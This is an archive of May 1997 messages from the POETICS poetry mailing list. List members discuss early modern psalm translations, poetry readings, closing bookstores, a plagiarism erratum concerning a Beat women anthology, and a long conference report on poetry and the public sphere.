Incidentally, there's a play, *The Beekeeper's Daughter,* based (with changes of names and with a particular emphasis etc.) on the figures of Robert Graves & Laura Riding -- written by Karen Malpede (the NYU theatre professor). I saw

this in Lee Nagrin's Bleeker St. studio a couple years ago (Nagrin -- an old frirend -- had a role in the piece). I know Karen was looking toward developing it further, but don't know present status of those efforts.

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45. **Maria Damon**
Re: LIBARARIAN virtues
Fri 2 May 1997

---

hey librarian groovoids, how 'bout gettn yr libraries to subscribe to the new and groovy Cross Cultural Poetix?

At 5:19 PM -0500 5/1/97, Pritchett,Pat @Silverplume wrote:
>This just in from our foreign poetics desk:
>
>Per Mark Presjnar and other librarians on the list, I tried ordering
>Talisman for the University of Colorado's periodical collection. Lo and
>behold, it worked! I'm told by "Skip" Hamilton - subject bibliographer -
>that no faculty member had heretofore requested it - hence, its absence from
>the shelves. (O dismal backwater, o arterial hardening!) But he was very
>glad to acquire it and sd he wld have long before - except he can only do so
>by request. I will be ordering other mags and books shortly since Skip seems
>happy to comply with my "research needs." Mark et al - thanks!
>
>Patrick Pritchett

↑ Index

46. **Jordan Davis**
psalmody
Fri 2 May 1997

Looking back at Lab Book from UB Poetics (1992), and it's just about coming into focus. If copies still exist, I endorse heartily the purchase. Of interest not merely because it contains early (but representative) work by Juliana Spahr, Mark Wallace, Jena Osman, Lew Daly, Jeff Hansen, Bill Tuttle, Elizabeth Burns, Elizabeth Willis, Cynthia Kimball and Peter Gizzi, but also because it provides a record the closest thing to a POETICS archive for the workshop process short of a documentary film. To refresh the memory: each workshop participant submitted a poem to the group to be responded to; the poems and their responses are revealing. When the book came out, I had no idea what any of these people were talking about (my bad). Now, the styles are clearer (more work exists, more reading has transpired, and I'm getting older too...).

That said, thanks, Joseph, for the bibl. ref. for those psalmists -- do others on the list know of other psalm translators worth looking into?

Jordan

On Thu, 1 May 1997, Joseph Lease wrote:

> *well, yes, I've read Mary Sidney's psalms and her brothers and Wyatt's too: you might be interested in Roland Greene's work on the early modern lyric sequence (and also on early modern shaped poems):*
>
> *On Thu, 1 May 1997, Jordan Davis wrote:*
>
> *Auden and Ashbery,*
> *Scotch and soda,*
> *Kisangani and Kinshasa...*
>
> *anyone read Mary Sidney's psalms? found the one that's an alphabetical acrostic last night...*
>
> *X,*
> *J*

↑ Index

47. Thomas M. Orange
Auden, Resuscitated Sidnean Psalms
Fri 2 May 1997

> *Jordan Davis wrote:*
>
> *anyone read Mary Sidney's psalms? found the one that's an alphabetical acrostic last night...*
>
> *Joseph Lease wrt:*
>
> *well, yes, I've read Mary Sidney's psalms and her brothers and Wyatt's too: you might be interested in Roland Greene's work on the early modern lyric sequence (and also on early modern shaped poems):*

great stuff! hard to believe 164 different stanzaic and 94 different metrical patterns in mary's psalms. i like also that her translations are based not on a single source-text but an amalgamation of prose psalters in english, french metrical psalters, a coupla versions of the bible, etc.

just actually found this line in wyatt last night: (psalm 38)

> So ar myn entrayles infect with fervent sore,
> Fedyng the harme that hath my welth oprest,
> That in my fleshe is lefft no helth before.

yikes! his only use of the word "entrayles" according to the concordance.

cheers,
tom

↑ Index

48. Aldon L. Nielsen
Lew Daly Essay
Fri 2 May 1997

Does anyone have a copy of the Lew Daly _Apex of the M_ essay that was published as a supplement? A student of mine needs a copy ASAP for his paper -- the student's email address is:

[redacted]

If anybody has a copy they could xerox & ship to him, it would be much appreciated

↑ Index

49. Pritchett,Pat
Re: psalmody
Fri 2 May 1997

The English poet Peter Levi recently did some trans. of Psalms for Penguin, but I've not looked at them closely and don't know if they merit further attention. Also, (I think) the seemingly ubiquitous Stephen Mitchell? Sidney's stuff with his sis the Countess of Pembroke is great to read alongside the KJV.

Patrick Pritchett

↑ Index

50. Jordan Davis
Sidneian
Fri 2 May 1997

Tom Orange,

I'm mad for those quotations in your messages -- first Iggy Pop, now Wyatt. Would I could serve POETICS a pot of senegalese peanut soup in Union Square Park today.

Anybody crack the shrink wrap on Mason & Dixon yet?

Jordan
who started out with something in mind when he pressed 'compose'

↑ Index

51. Jordan Davis
Godfrey playlist
Fri 2 May 1997

Had to step out before Creeley read (early work, I hear) but I caught John Godfrey and Cecilia Vicuna at the opening reading of the Poetry Project's 30th anniv. party. Godfrey, subdued, was _on_, especially on "For Ice" and "Day Goo". He opened with two elegies (for Allen Ginsberg and for Jim Brodey, respectively), followed with what I think he referred to as "the difficult ones", and sailed on through in his Michael Learned as Celine manner.

Titles:

Big Lips
The James Brother
Grasp Is Provide
Ten Times Lighter
Very Worn Cloth
For Ice
Day Goo
Same Feet
Evil Tunnels
The Slightest Foam

and before I knew it they were introducing Cecilia Vicuna, pow, they're done, no one gets up. Some laughter. No reader, but then a scratching noise from the front (and the important thing to know is that Ed Friedman had the room turned around so that people were sitting up on the stage looking past the podium at the front door which Ed dramatically closed at the start of the reading) and eventually singing. CV got up and read in a whisper, then very loud, and startled by the duration she suddenly realized she was expected to read for, finished with poems from her light book. Then there was an intermission... In the audience: Anne Waldman, Bernadette Mayer, Phil Good, Dug Rothschild, Daniel Cane, Bill Luoma, Greg Masters, Brenda Coultas, Anselm Berrigan, Elinor Nauen, Richard Hell and like sixty or so others.

Jordan

↑ Index

52. David Benedetti
Re: Books & Co.
Fri 2 May 1997

On Wed, 30 Apr 1997, Piombino/Simon wrote:

> *Books & Co., long one of Manhattan's best poetry/philosophy/critical writing bookstores, is slated to close May 31. The following message from Paul Auster is posted in the window:"For twenty years, Books & Co. has been a sanctuary for readers and writers, a spiritual home for everyone who still believes in the importance of words. New York has been blessed to have this store, and the thought that it may be forced to close has filled me with sorrow. I feel like someone who has just been told that one of his dearest friends is dying.Does money always have to have the last word? Can a squabble over a few pennies actually shut down a place that has meant so much to our city? Don't the people bent on destroying this landmark realize the damage they will be doing? Subtract Books & Co. from New York, and New York loses part of its soul."(signed) Paul Auster 4/21/97*

Yes, out here in Albuquerque the University of New Mexico Bookstore expanded and moved across the street (Central) from The Living Batch Bookstore, and so The Living Batch died a pathetic death--along with The Salt of the Earth Bookstore down the street. These two independent bookstores were crushed by the chains and UNM conglomerate, and were the only real places in Allblueturkey to get poetry, Latin American lit and books, postmodernism, theory, lit crit, obscure, etc. etc.

Not to mention great readings, expert advise, local news, actual people, etc. So, killing of smaller independent bookstores is going on all over.

Paul Auster's obit about covers it.

David Benedetti

↑ Index

53. Daniel Bouchard
Re: Books & Co.
Fri 2 May 1997

Cambridge & Boston continue to have an incredible variety of excellent book stores--mostly used. In fact, I've managed to pick up all my wants in the past few weeks in the form of review copies--small press poetry, university presses, the works--brand new and at half price!!

Eat your heart out, America!

[redacted]

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54. Poetics List
Please post this to the list
Fri 2 May 1997

For those of you who have been following this on 20/20:

---------- Forwarded message ----------
Date: Fri, 02 May 1997 00:41:40 -0700
From: Jennifer <[redacted]>
To: [redacted]
Cc: [redacted]
Subject: Please post this to the list

Please post the following message to the POETICS list. Thanks!

Subject: ERRATUM: Helen Adam / Women of the Beat Generation

ERRATUM

Due to an unfortunate combination of computer glitches and copy editor confusion, portions of the biographical sketch of Helen Adam in the Conari Press title "Women of the Beat Generation," that were drawn from the work of Kristin Prevallet, appeared without complete attribution. Ms. Prevallet generously provided us with her excellent research on Helen Adam and we apologize for any harm that might have occurred. Future printings will restore the original accurate acknowledgments.

Thank You,

Will Glennon
Publisher, Conari Press

Brenda Knight
Author, "Women of the Beat Generation"

e-mail: [redacted]

↑ Index

55. Thomas M. Orange
wyatt, our villon...
Sat 3 May 1997

does this subject line contain a tenable thesis? now accepting candidates for early modern english outlaw poets. of course villon was no diplomat, but wyatt did do his time in the can and messed with the king's wife....

Tho my songes be sume what strange,
And spekes suche wordes as toche thy change,
Blame not my lutte.

cheers,
t.

jordan davis wrot:
> I'm mad for those quotations in your messages -- first Iggy Pop, now
> Wyatt. Would I could serve POETICS a pot of senegalese peanut soup in
> Union Square Park today.

damn good memry there jd, i thot those iggy lines was long fergot!

↑ Index

56. Aldon L. Nielsen
Re: Please post this to the list
Sat 3 May 1997

Am I the only reader who finds the explanation for how Kristen Prevallet's name got dropped from her writing more than a little questionable? I mean, I've experienced any number of computer glitches and copy editing confusion, but given the fact that the attribution should have appeared in at least three places (on the essay, in the contents, and in the acknowledgements) this seems a bit of a stretch to me --

On a happier note -- Cinco de Mayo celebrations will be held in San Jose on Sunday -- come on down!

↑ Index

57. Maria Damon
Re: Please post this to the list/beat women
Sat 3 May 1997

---

yeah, it's too bad that they can't just apologize and promise future appropriate reference without having to lie. computer glitches indeed. i'd like to know if kristen feels that this is an adequate and satisfactory settlement. kristen are you out there? any comment?--md

At 9:44 AM -0500 5/3/97, robert drake wrote:
>aldon--
>
>no, they're just tryin to bullshit their way out of a jam... when i
>talked to the editor, he at first denied that there was any significant
>plagerism, when i started citing paragraph by paragraph th copied &

>paraphrased sections he backed up a little, shifted blamed to the
>author's incompetence w/ computers or some such. i understand that
>kristen had initiated a suit? praps their announcement has to do w/
>that. as she pointed out, tho, it also raises th question of the
>reliablity of the rest of the scholarship, lacking as it does any
>substantial references or footnotes... sad, and ironic, that a
>project i would otherwise be enthusiastic about shd be so discredited...
>
>lbd
>
>>Am I the only reader who finds the explanation for how Kristen Prevallet's
>>name got dropped from her writing more than a little questionable? I
>>mean, I've experienced any number of computer glitches and copy editing
>>confusion, but given the fact that the attribution should have appeared in
>>at least three places (on the essay, in the contents, and in the
>>acknowledgements) this seems a bit of a stretch to me --

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58. **robert drake**

Re: Please post this to the list/beat women

Sat 3 May 1997

---

aldon--

no, they're just tryin to bullshit their way out of a jam... when i talked to the editor, he at first denied that there was any significant plagerism, when i started citing paragraph by paragraph th copied & paraphrased sections he backed up a little, shifted blamed to the author's incompetence w/ computers or some such. i understand that kristen had initiated a suit? praps their announcement has to do w/ that. as she pointed out, tho, it also raises th question of the reliablity of the rest of the scholarship, lacking as it does any substantial references or footnotes... sad, and ironic, that a project i would otherwise be enthusiastic about shd be so discredited...

lbd

> *Am I the only reader who finds the explanation for how Kristen Prevallet's name got dropped from her writing more than a little questionable? I mean, I've experienced any number of computer glitches and copy editing confusion, but given the fact that the attribution should have appeared in at least three places (on the essay, in the contents, and in the acknowledgements) this seems a bit of a stretch to me --*

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59. **Pritchett,Pat**

Re: adieu, Corpse!

Sat 3 May 1997

I received this in the mail yesterday:
(Patrick Pritchett)

April 15 Tax Day, In the American Tradition of Anguish

Dear Friends:

After fourteen years and sixty-three issues of Exquisite Corpse, the editors have decided to kill themselves. The magazine will continue to appear, of course. After one minute of thinking about this, however, we have reversed our position, and decided to kill the Corpse instead. After that minute, however, we realized that a Corpse cannot be killed. Given the difficulty of this paradox, we have decided that:

The bi-monthty publication of Exquisite Corpse will be suspended while the editors prepare a massive anthology culled from our sixty-three issues, to be published in 1988. After the anthology appears, we will either reappear in a new format or produce a yearly anthology. Meanwhile, ghost Corpses will continue to be telepathically issued, available free from the community of writers we have nurtured. Their collective ectoplasmic connections will produce many more issues than we could have delivered in the cumbersome typographic manner.

It has always been our intention to cease and desist when we got bored. Until now, neither penury nor overwork, stopped us from our task of delivering the news, but the time came, finally, when Baudelaire's certitude that we "know this monster well," sank home with the finality of one thousand printer's bills, mailing lists, unsolicited offenses, and institutional rigidity.

To our contributors we say, "do not hold a wake, unless we can be there," to our readers we say, "remember us until we return," and to our subscribers we declare, "subtract what remains of your subscription from the price of the anthology, which we will send to you postage-free," and to those who never read us we say, "you are old, your taste is execrable."

Until we return, remember the good days. We love you.

Andrei Codrescu, editor
Laura Rosenthal, executrix
Jean C. Lee, manageresse

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60. linda v. russo
Re: More Poetry & the Public Sphere Conf Summary (LONG)
Sat 3 May 1997

Amattai & Maria -- thx so much for the reports -- i'm
looking forward to part 2. Amattai -- you mentioned Linda
Kinnehan's paper on How(ever) & the panel on the difficult wor(l)d
briefly -- could you say more? thx. again -- l.
--
linda v. russo
[redacted]

↑ Index

61. Amittai F. Aviram
More Poetry & the Public Sphere Conf Summary (LONG)
Sat 3 May 1997

Here are a few more comments about the Poetry and the Public Sphere Conference, which I'm writing even though I really need to be grading papers. This is all from memory--I never take notes--so forgive me for lapses.

First of all, I differ strongly with Maria Damon, whom I unmet--i.e., met in passing by way of saying goodbye, and whose opening statement, alas, I missed, because my flight got in at 4:00. No, Amiri Baraka was most certainly _not_ right. Baraka was and is full of baloney. His arguments were just more boring, thoughtless Old Left rant, as was his "reading," during most of which he _yelled_ into the microphone of an already loud PA system, as if to punish us "academics" for our "complicity" with The Oppressor Capitalist Pigs, etc., etc. All total bullshit. The debate between him and Miguel Algarin, a very gentle soul, was about political poetry of the 60s and 90s. Baraka, of course, was saying that the political poetry of the 60s was better because it was direct, upfront, "truly" political, spoke to The People, blah blah blah--the stuff that I assume Maria agrees with and that I find really obnoxious nonthought (sorry, Maria, I know this is getting off on the wrong foot with you, and I regret that). Algarin was saying that the "political" poetry of the 60s is outmoded because it is unsubtle and lacking in the theoretical sophistication we need in the 90s. It boiled down to Algarin saying, "We need _theories_," and Baraka cutting him off and yelling, "No we don't, we need _action_!" A nice moment of comic relief was had when Algarin pointed out, in the midst of Baraka's ranting about academics and their salaries (oh, yes, we make just _so_ much money!) that ties them to the Capitalist System--that Baraka himself was paid $5,000 for his appearance. Plenty of poets and scholars there were not paid a cent for being there, AFAIK. Baraka was shut up for a second or two as he tried to figure out something

clever to say. There were a lot of really great readings of poetry throughout the conference, but Baraka's was not, IMO, one of them. Same for Reg E. Gaines and keith roach, so far as I remember. As for this Reginald Rux guy, he went on forever with a lot of "political" and somewhat egocentric blather that I found supremely boring. By contrast, I found Tracie Morris really stunning and Aileen Reyes wonderful. So I thought the first evening was a thought-provoking mixed bag.

Now that that's all off my chest, I have to say, of course, that I was grateful to hear all of these poets, even the ones I didn't like.

Every afternoon, evening, and night, there were great readings (sometimes embedded within panel discussions) by great poets, including--going on memory now--Reyes and Morris (mentioned above), Charles Bernstein, Robert Hass, Meena Alexander, Abena Busia, Rachel Blau DuPlessis, Alica Ostriker, Bob Perelman, Adrienne Rich, Robin Pastorio-Newman, Cheryl Clarke, Regie Cabico, Rafael Campo, Andy Clausen, Rachel Hadas, Rebecca Reynolds, Michael Weaver, Ross Talarico, Eliot Katz, and others. I actually didn't like Abena Busia very much, either as poet or in her talk on the "Locations of Poetry" panel shared with Charles Altieri and Arnold Rampersad. (This was generally a dreadful panel-- summary below.) I also don't quite know why Meena Alexander is such a big noise--I just didn't find it in the poetry, although she did give a very compelling statement in the "Poetry, Feminism, and the Difficult Wor(l)d" panel, that was sort of a poem, or anyway quite poetic.

More Details:

I've already covered Thursday night as best I can. I missed most of the first Concurrent Panels session Friday morning because it involved getting on a bus from the hotel at 8:15, which I missed :-(. I just barely made it to the last 3/4 or so of Brian McHale's paper in the panel on "The Feminist Avant-Garde," on Susan Howe, in which he showed how some poems of Howe were playing with Spenserian and Shakespearean phrases that have been known so well over the centuries that they have become more or less part of the permanent detritus or soil of English-speaking culture. Thus they are already out of context (so to speak), but Howe would then put these phrases in yet more strained contexts, to defamiliarize them anew, as a kind of intervention in the economy of poetical discourse. (Is that about right, Brian?) Interesting discussion afterwards in which just about everybody missed the point that Howe was not Pound and not merely alluding, but estranging the overfamiliar that has literary origins.

Keynote Panel: "Cultural Poetics, Cultural Politics," with Meena Alexander, Charles Bernstein, and Tricia Rose, hosted by Elin Diamond. Alexander's talk was more or less (I think) about the complexities of identity created by post-colonialism and a multicultural world, and she closed with a poem reflecting

upon her self--both poetic and personal--in the setting of Riverside Park (I guess), overlooking the Hudson and the Washington Bridge. The Bridge would be the operative metaphor here, I think, as well as the river. Bernstein talked about how poetry works precisely (I think this is right!) by _undermining_ the apparently simplicity of the social self, by foregrounding its discursively constructed nature, and he closed, as I recall, with a brilliant poem. I was thinking the whole time about the ways that his talk was addressing some of the issues in my paper better than my paper did, or whatever. It questioned the sincerity of the personal voice in "political" poetry and suggested that the truly political act of poetry was precisely to render the personal voice an artifice and an object of play. His poem exemplified this, among other things, by containing a long and delightful catalogue of what kind of poet "he" "is." The first of these items was: "I am a New Formalist poet." This got a lot of laughs, but it is also remarkably _true_, insofar as much of what Bernstein read at the conference _is_ in meter--thus exploding the rightwing identification of "formalism"--something I wsa trying to do in my paper as well. Tricia Rose's paper, on "Poetic Testimony: Race, Gender, and Popular Poetry," claimed (a) that testimony doesn't _really_ require that the events told _really_ happened (and thus that the speaker is still understood to be a poetic artifice), and (b) that, insofar as there _is_ some connection to reality, testimony "complements" the playful artifice of poetry, rather than working against it. During the audience part, Charles Altieri pointed out that Tricia Rose's statement (esp the latter part) and Charles Bernstein's were actually quite at odds with each other, but that they were (I think Rose was) attempting to smooth over the difference. Both of them gave, I thought, an inadequate reply to what I thought to be a correct statement on Altieri's part. Indeed, throughout the conference, one of the running threads turned out to be the question of the relation between "testimony" and "poetic artifice," and, with that, the oral vs. the written, populism vs. some other concept of democracy, representation vs. the aesthetic, the personal vs. the impersonal ... And it seems to me that none of these questions was resolved, which is probably o.k.

I went next to the "Feminist Collectives/Identities" panel, but caught only a little--the whole of Linda A. Kinnahan's fine paper on "_HOW/ever_, Then and Now," and a little of Jen Benka's and Jennifer Geigel's joint presentation, which I left after a while because it involved a slide show that was set up so that nobody who came in late could see it.

The next session included my own panel, on "Form and Contemporary Publics," with Nick Yasinski and Jonathan Monroe. I enjoyed meeting both of them, finding Nick a particularly delightful and endearlingly modest personality. Nick presented a superb close reading of an "oral" poem by Regie Cabico included in Miguel Algarin's anthology of Nuyorican poets, thus demonstrating that the

apparent "identity" in "identity politics" can indeed be complex, playful, and poetic. (I agree--but I also think that some poets manage this better than others.) Jonathan Monroe's talk centered on READ, an educational program that did not include poetry, and how another program that did could easily be integrated into READ's goals. My own paper urged a distinction between populism and democracy (see above), and also the importance of the connection between poetry and literacy (and thus democracy) and therefore the _re_readability of poems. This gave way to an interesting discussion, especially involving my paper and Nick's. I am still unsure how work like that of Tracie Morris fits into what I was saying, because it really is (IMO) superb poetry, but it doesn't seem entirely _literate_--i.e., involving reading and rereading, becoming spatialized int the mind, repeatable. Then again, maybe it _is_. In some ways, Tracie Morris's musical "sound poems" are enactments of the closest kind of close reading--the repetition of words until they become mere sounds in music. Well, obviously, I'm still thinking about all of this. I think people were disturbed by my distinction between populism and democracy, especially WRT the Nuyorican poets, and I'm quite unsure about that relation myself, although I _am_ reasonably sure, otherwise, of the distinction. I was flattered that Charles Altieri came to the panel (at least I _think_ that was he!) and seemed to agree with me, at least a little. Harriet Davidson was there, too, who did not quite agree with me, but who is so totally _agreeable_ a person that it's hard to _disagree_ with her about anything ever.

Next came a plenary panel on "The Difference that Poetry Makes." The ever cute (sorry, don't mean to embarrass him!) Nick Yasinski took on the difficult task of presiding over this group of learned people, some of whom were rather longwinded--interestingly, all of them men--the women managed to be quite concise. All of the speakers were asked to answer the question, "What difference does poetry make?" and to respond to two quotations: one, Auden's "Poetry makes nothing happen," and the other, Adorno saying that "Poetry is impossible after the holocaust." Altieri started off with the usual shapeless fuzz, and, as opposed to another talk he gave later, in this case, I honestly couldn't quite follow his point. Sorry! I do seem to remember, however, that this was the talk where he pointed out that young people today are in an awkward position in relation to literacy and literature. Whereas earlier generations could rebel against their parents by _reading_ and getting educated, this is no longer the case, since the parents are usually educated and literate. (This may have come up in another talk.) Robert Hass gave a _very_ long talk, but I confess that I found it utterly fascinating. It had two parts. First, he conducted the thought experiment of what difference poetry makes by imagining a world without poetry to see whether it would be any different from our world. What he found--in a way almost echoing Roman Jakobson--is that poetry is so totally

embedded in language in general that it's simply unimaginable to have a "world" in a normal sense that would be totally without poetry. "So," he concluded nonchalantly, "that was a _cul-de-sac_." He then talked about the difference poetry _has_ made, as a kind of benefit of literacy, intimately tied to the history of literacy in modern times, as a distinctively _American_ phenomenon--the growth of literacy being directly tied to certain ideological developments first in the United States and only later in other "developed" countries. Literacy in the US started with the importance the Purtitans laid upon the ability to read the Bible to save one's soul, and literacy in New England throughout early American history was very high--over 90% (I think), while it was rather low elsewhere. In the early 19th century, still, only a minority of American adults could produce a signature (his index for literacy in the most basic sense). (A fortiori, it was always only a small minority throughout Europe.) In the same period--really starting in the late 18th century (Federalist period)--the ideology linking reading to salvation was secularized into one that linked reading to citizenship. During the slavery era, reading also was obviously linked to freedom and political self-determination. By the time shortly before the Civil War, already, a significantly higher proportion of adult nonenslaved men could produce a signature, relative to the proportion of the same in Europe. After the Civil War, public schools were established for all citizens, and literacy rates continued to rise steadily. Literacy was connected with upward mobility. There was also a series of three different ideological rationales for the importance of literacy throughout the 19th century, after its secularization. First, literacy was viewed as a chance at access to the great wonders and beauties (i.e., poetry) hitherto only available to the aristocracy--it was the democratization of verbal wealth. This concept went ahead until around the turn of the century, when the lettered elite was no longer a significant social force, and when poetry was already heavily associated with the middle class rather than the European aristocracy--as typified by Walt Whitman and his imitators. Poetry had been reformed, in a sense, to become less aristocratic--as the lower classes entered literacy, they transformed it. The next ideology, picking up in the late 19th century, was the association of the reading of poetry and cultivation of beauty with the ennobling of the soul; people who could read and appreciate poetry would be more moral. This idea came to a catastrophic end with the holocaust of WWII, when everyone saw that it was possible to be a great aesthete and lover of poetry and still put millions of people to death. Finally, emerging in the early 20th century was the association of literacy and the reading of poetry with the refinement of cognitive skills, an association still alive today and motivating education to some extent. Literacy in the US crested at around 90% in the year 1960, and has been dropping steadily since then--not only in numbers but in quality: the average 8th grader in Texas reads at only a 4th-grade level. So, poetry makes a difference by contributing to literacy, and what we need is more

of both. Tracie Morris took much less time to say something about equally fascinating. She introduced it more personally as the difference that poetry has made _for her_, and therefore presented it as autobiography, but of course it turned out to be a parable. She had wondered as a child whether she was crazy, because she liked talking to herself. "Don't worry," she was told, "You're not crazy if you talk to yourself, so long as you don't _answer_ yourself." Later, in school, reading Poe's "The Raven," she was struck by how crazy the speaker is--he not only talks to himself but also answers himself. Why, if he knows the bird can only say one word, would he be crazy enough to ask it, "Will I ever see my beloved again"? Why not ask, "Will I ever get sick"! As an adult, she went to several different community poetry projects, including, eventually, the Nuyorican Poets' Cafe. She learned about "sound poetry," and tends to use this technique especially to address matters, such as the Middle Passage, that she regards as unspeakable. Thus poetry is a way of dealing sanely with a crazy situation, and a way of being both sane and crazy simultaneously, letting her talk to herself and answer herself without being considered crazy. (I hope I got the drift of that right.) Michael Taussig, next, gave by far the longest talk--endless and shapeless and utterly without a thesis. It wound up moving towards a reference to _The Nervous System_. Charles Bernstein went next, and spoke while a slide behind him projected an image by a French artist: a road sign in a lozenge shape, divided by a horizontal bar into two triangles. In the top one were the words, _DU CALME_ ("Relax!"); in the bottom, "Poetry makes nothing happen." Bernstein, I think, both argued and _showed_ (in prose and verse) how the "nothing" that poetry makes happen is, itself, something important in the political sphere (see above). Lynn Keller came last, with very little time left. She pointed out, first, that the two quotations are out of context, and that both writers thought differently of poetry at other times. Secondly, she focused on the difference that poetry has made, in the (later) 20th century, for _women_, because, before then, women had not been able to publish their poetry before. The possibility for women readers to read poetry by women poets, representing women together or alone and not at objects of male fantasy, has made an immense difference for women.

I've run out of time, so I'll have to summarize the rest of the conference in a Part II, to come shortly.

Amittai F. Aviram

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62. **Maria Damon**

Re: More Poetry & the Public Sphere Conf Summary (LONG)

Sat 3 May 1997

---

don't worry amitai you didn't get off on the wrong foot w/ me for disagreeing abt baraka. but i do disagree. what i heard was simply different from what you heard. what i heard was algarin saying glibly: 60s poetry was all rhetoric and theory, today its about feelings, not theory. to which baraka rightly pointed out that 1) to claim to have no theory is a theory and 2) political poetry of the 90s owes a lot to political poetry and poets of the 60s. it is miguel who was anti-theoretical. i'm glad we're talking about tracie morris; about a year ago i asked why there was no discussion of her on the list and now there is. i hope it's not just bcause she mentioned kurt schwitters. she's unbelievable, and quite the poetry diplomat as well. i found hass boring, suspect him of underestimating the educational level of his audience. i found reg e gaines terrific on the round-table, pretty good at his reading, tho i'd heard most of the material before. i'm a big baraka fan, so there you have it. i found algarin's reading less compelling than i have in the past. bernstein and morris were big favorites of mine and that seemed a crowd consensus. i love mick taussig tho i seem to be in a minority on that score; everythng he sez is fascinating to me. i wa with folks who watned to leave after bernstein so didn't get to hear lynn k, sorry lynn. i too had trouble following charlie ulterior's talk. ditto both exposures to meena alexander. adrienne rich was impressive. now i'm skipping all over the place. i was very pleased to hear steven caton, who told a tale of the role poetry played in a very tense political negotiation between two factions of a yemeni tribe who ended up going to war over an abduction of 2 young women; and walter kalaid-jian on trauma theory and poetry, focussng on th armenian genocide. i was sorry to miss mdavidson's talk, but went to a wonderful demonstration of poets in the schools state of the art with craig czury, tobey kaplan and someone else i missed cuz i was having coffee w/ andy clausen, an old friend i hadn't seen in almost 20 yrs, who gave a rousing 7-minute beat style reading...also took in tra-cie morris's panel on sound poetry in the africn amercan tradition, which fea-tured beans, a very exciting dj/mc/rapper who's gotten into poetry in a more purposive way, and cheryl boyce taylor, a member of the performance group cayenne. another good panel was lynn keller on alice fulton, michael eldridge on linton kwesi johnson and the construction of "black britain," and a third speaker i missed. eliot katz's reading was quite charming, and ed roberson's was haunting. i was exhausted and had seen sonia sanchez a month or so ear-lier so skipped out on her and the poet laureate, and the wild locals reading that followed. the final roundtable, with walter k, bob holman and others was also exciting to me. there, maybe you'all can piece together some general idea of the proceedings from all these conflicting reports.

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63. Julie Marie Schmid
Re: Help! History of the Voice Query
Sat 3 May 1997

Dear Poet Folk:

I'm in the process of revising an essay and need a citation from Brathwaite's History of the Voice. It's out of print and the one copy in the U of Iowa Library is checked out. I am looking for a short passage (about 4 or 5 lines) on p. 13 where EKB discusses the difference between a dialect and a nation language. (I had notes on this section of the book that I can't seem to find.) Could someone be a peach and either post it or backchannel me?

Thanks a bundle!

Julie Schmid
Dept. of English
University of Iowa

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64. Peter Ganick
announce POTEPOETZINE
Sat 3 May 1997

POTEPOETZINE, a new experimental e-zine
devoted to experimental poetry and e-art
which will appear irregularly, but frequently,
is taking subscriptions for the first issue
of its series to be sent by e-mail to subscribers
before june 1, 1997....

issue ONE will feature approximately 10 poet's work
and a section of e-art by hartford ct area artists....

if you want to receive POTEPOETZINE,
please send you e-mail address to one of
the following e-mail addresses:
before may 7, 1997: [redacted]
after may 9, 1997: [redacted]
the ZINE will be unavailable may 8, 1997;
please mention this list in your reply....

no submissions, please, with your message,
ONE will include information about
submitting texts to TWO and beyond....

do not attempt to fax, telephone, or snail-mail us,
only e-mail will receive a response....

POTEPOETTEXT, a series of longish electronic texts
surrounding the on-going worldwide discourse
about culture, experimental art, and critical theory
will also be included in your subscription,
submissions to this series are now being accepted....

POTEPOETZINE....POTEPOETTEXT....
experimental poetry and cultural discourse....

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65. Stephen Cope

Re: Help! History of the Voice Query

Sat 3 May 1997

Julie:

"History of the Voice" has been reprinted in _Roots_ (U. of Michigan, 1993), which is where this appears on page 266:

I think, however, that language does really have a role to play here, certainly in the Caribbean. But it is an Enlgish that is not the standard, imported, educated English, but that of the submerged, surrealist experience and sensibility, which has always been there and which is now increasingly coming to the surface and influencing the perception of contemporary Caribbean people. It is what I call, as I say, _nation language_. I use the term in contrast to _dialect_. The word dialect has been bandied about for a long time, and it carries very pejorative overtones. Dialect is thought of as "bad" English. Dialect is "inferior" English. Dialect is the language when you want to make fun of someone. Caricature speaks in dialect. Dialect has a long history coming from the plantation where people's dignity was distorted through their languages and the descriptions that the dialect gave to them. Nation language, on the other hand, is the submerged area of that dialect that is much more closely allied to the African aspect of experience in the Caribbean. It may be in English, but often it is in an English which is like a howl, or a shout, or a machine-gun, or the wind, or a wave. It is also like the blues. And sometimes it is English and African at the same time.

Hope the lines you're looking for are here somewhere...

Best,
Stephen Cope

> *Dear Poet Folk:*
>
> *I'm in the process of revising an essay and need a citation from Brathwaite's History of the Voice. It's out of print and the one copy in the U of Iowa Library is checked out. I am looking for a short passage (about 4 or 5 lines) on p. 13 where EKB discusses the difference between a dialect and a nation language. (I had notes on this section of the book that I can't seem to find.) Could someone be a peach and either post it or backchannel me?*
>
> *Thanks a bundle!*
>
> *Julie Schmid*
> *Dept. of English*
> *University of Iowa*

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66. Jordan Davis
Re: More Poetry ... more Tracie Morris
Sun 4 May 1997

Thanks Amittai for the plug for

this week's POETRY CITY

TRACIE MORRIS & PATRICIA HAMPL

Friday May 9, 7 pm

in the offices of Teachers & Writers Collaborative

5 Union Square West, 7th Floor, New York City

(the day after our big Rukeyser rockestra)

↑ Index

67. Aldon L. Nielsen
Re: How Public Is the Sphere
Sun 4 May 1997

So . . . could somebody who did hear Michael Davidson's presentation give us a word or two about it????

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68. Maria Damon
Re: More Poetry ... more Tracie Morris
Sun 4 May 1997

wow, what a wild pairing, but terrific, as trish teaches in my dept and i'm anxious for the writers i adore to gain some credibility among my colleagues, so let's hope trish comes back a tracie fan, if she isn't already!!!md

At 12:20 AM -0400 5/4/97, Jordan Davis wrote:
>Thanks Amittai for the plug for
>
>this week's POETRY CITY
>
>TRACIE MORRIS & PATRICIA HAMPL
>
>Friday May 9, 7 pm
>
>in the offices of Teachers & Writers Collaborative
>
>5 Union Square West, 7th Floor, New York City
>
>(the day after our big Rukeyser rockestra)

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69. Michael Magee
Re: More Poetry & the Public Sphere Conf Summary (LONG)
Sun 4 May 1997

Thanks, Amittai, for your "long" but informative post. I feel like digressing from the issue of the conference itself to pursue something you said: "the ideology linking reading to salvation was secularized into one that linked reading to citizenship. During the slavery era, reading also was obviously linked to freedom and political self-determination." (Hass?)

